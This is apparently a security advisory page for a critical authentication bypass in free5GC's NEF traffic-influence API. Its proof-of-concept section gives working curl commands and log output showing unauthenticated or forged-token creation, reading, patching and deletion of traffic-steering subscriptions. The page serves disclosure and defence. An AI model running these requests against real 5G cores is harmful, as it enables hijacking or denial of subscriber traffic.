free5GC's NEF 3gpp-traffic-influence API is unauthenticated; missing or forged bearer tokens can create, read, patch, and delete subscriptionsGHSA-3p28-73q7-45xp
CRITICALFix: free5gc/nef#23GHSA-3p28-73q7-45xp is a critical-severity (CVSS 9.4) CWE-862 vulnerability in github.com/free5gc/nef. The records list no fixed version yet; check the vendor advisory below and apply the mitigations in the meantime.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-3p28-73q7-45xp.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
github.com/free5gc/nefReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
free5GC's NEF mounts the 3gpp-traffic-influence API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, patch, and delete traffic-influence subscriptions either with no Authorization header at all, or with a forged bearer token (e.g. Authorization: Bearer not-a-real-token). This includes creating AnyUeInd=true subscriptions intended to affect group / any-UE traffic steering. The route group is also reachable even when the running config's ServiceList does not declare it, so operators who think they disabled the service via config are still exposed.
This is the highest-impact NEF service exposure observed in the lab because it enables unauthenticated state changes on traffic-steering policy objects rather than read-only exposure.
Details
Validated against the NEF container in the official Docker compose lab.
- Source repo tag:
v4.2.1 - Running Docker image:
free5gc/nef:v4.2.0 - Runtime NEF commit:
5ce35eab - Docker validation date: 2026-03-11
NEF advertises OAuth2 setting receive from NRF: true, and its ServiceList only declares nnef-pfdmanagement and nnef-oam. Despite that, the 3gpp-traffic-influence route group is mounted and reachable with no inbound auth middleware.
Code evidence (paths in free5gc/nef):
- Route group mounted without auth middleware:
NFs/nef/internal/sbi/server.go:48 - CRUD routes exposed at
/:afID/subscriptionsand/:afID/subscriptions/:subID:NFs/nef/internal/sbi/api_ti.go:13 - POST allocates AF/subscription state and writes traffic-influence data:
NFs/nef/internal/sbi/processor/ti.go:50 - PATCH looks up and updates the subscription, then calls UDR/PCF:
NFs/nef/internal/sbi/processor/ti.go:279 - DELETE looks up and removes the subscription:
NFs/nef/internal/sbi/processor/ti.go:355 - NEF context only exposes outbound token acquisition (
GetTokenCtx); there is no inbound authorization path:NFs/nef/internal/context/nef_context.go:153 - Config validation only allows
nnef-pfdmanagementandnnef-oam:NFs/nef/pkg/factory/config.go:126
PoC
Reproduced end-to-end against the running NEF at http://10.100.200.19:8000.
- CREATE subscription with NO
Authorizationheader at all ->201 Created:
curl -i \
-H 'Content-Type: application/json' \
--data '{"afServiceId":"svc-noauth","afAppId":"app-noauth","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.40 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-noauth","routeInfo":{"ipv4Addr":"10.60.0.1","portNumber":0}}]}' \
http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-noauth/subscriptions
- CREATE second subscription with FORGED bearer token ->
201 Created:
curl -i \
-H 'Authorization: Bearer not-a-real-token' \
-H 'Content-Type: application/json' \
--data '{"afServiceId":"svc-high","afAppId":"app-high","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.20 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-poc","routeInfo":{"ipv4Addr":"10.60.0.2","portNumber":0}}]}' \
http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions
- READ with forged token ->
200 OK:
curl -i -H 'Authorization: Bearer not-a-real-token' \
http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1
- PATCH with forged token ->
500 Query to UDR failed(still reaches business logic, not 401/403, so auth bypass confirmed):
curl -i -X PATCH \
-H 'Authorization: Bearer not-a-real-token' \
-H 'Content-Type: application/json' \
--data '{"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.20 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-poc-updated"}]}' \
http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1
- DELETE with forged token ->
204 No Content:
curl -i -X DELETE \
-H 'Authorization: Bearer not-a-real-token' \
http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1
NEF container logs (docker logs nef) show the requests reaching business handlers and returning success / 500-from-business codes (never 401/403):
[INFO][NEF][TraffInfl] PostTrafficInfluenceSubscription - afID[af-poc-high]
[INFO][NEF][GIN] | 201 | POST | /3gpp-traffic-influence/v1/af-poc-high/subscriptions
[INFO][NEF][TraffInfl] PatchIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1]
[INFO][NEF][GIN] | 500 | PATCH | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1
[INFO][NEF][TraffInfl] GetIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1]
[INFO][NEF][GIN] | 200 | GET | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1
[INFO][NEF][TraffInfl] DeleteIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1]
[INFO][NEF][GIN] | 204 | DELETE | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1
[INFO][NEF][TraffInfl] PostTrafficInfluenceSubscription - afID[af-poc-noauth]
[INFO][NEF][GIN] | 201 | POST | /3gpp-traffic-influence/v1/af-poc-noauth/subscriptions
Impact
Missing inbound authentication (CWE-306) and authorization (CWE-862) on the highest-impact NEF SBI surface. Any party that can reach NEF on the SBI network can:
- Create attacker-controlled traffic-influence subscriptions (including
AnyUeInd=truegroup/any-UE subscriptions), redirecting AF traffic to attacker-chosen DNAIs and routing endpoints via SMF/UPF. - Read existing AF subscriptions, leaking traffic-steering policy data.
- Patch existing subscriptions, modifying live traffic-steering decisions for legitimate AFs.
- Delete subscriptions, denying service to legitimately provisioned traffic influence.
The traffic-influence route group is also reachable even when the runtime ServiceList does not declare it, so operators relying on ServiceList to disable the service do not actually get that protection.
Affected: free5gc v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/859 Upstream fix: https://github.com/free5gc/nef/pull/23
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/free5gc/nef | all versions | No fix |
Affected Products
free5gcfree5gcDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/free5gc/nef, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
The records we use list no patched version of github.com/free5gc/nef for GHSA-3p28-73q7-45xp. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range.
Mitigate without a patch
Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.
Frequently Asked Questions
Is GHSA-3p28-73q7-45xp in your dependencies?
Find it across Go, including transitive dependencies.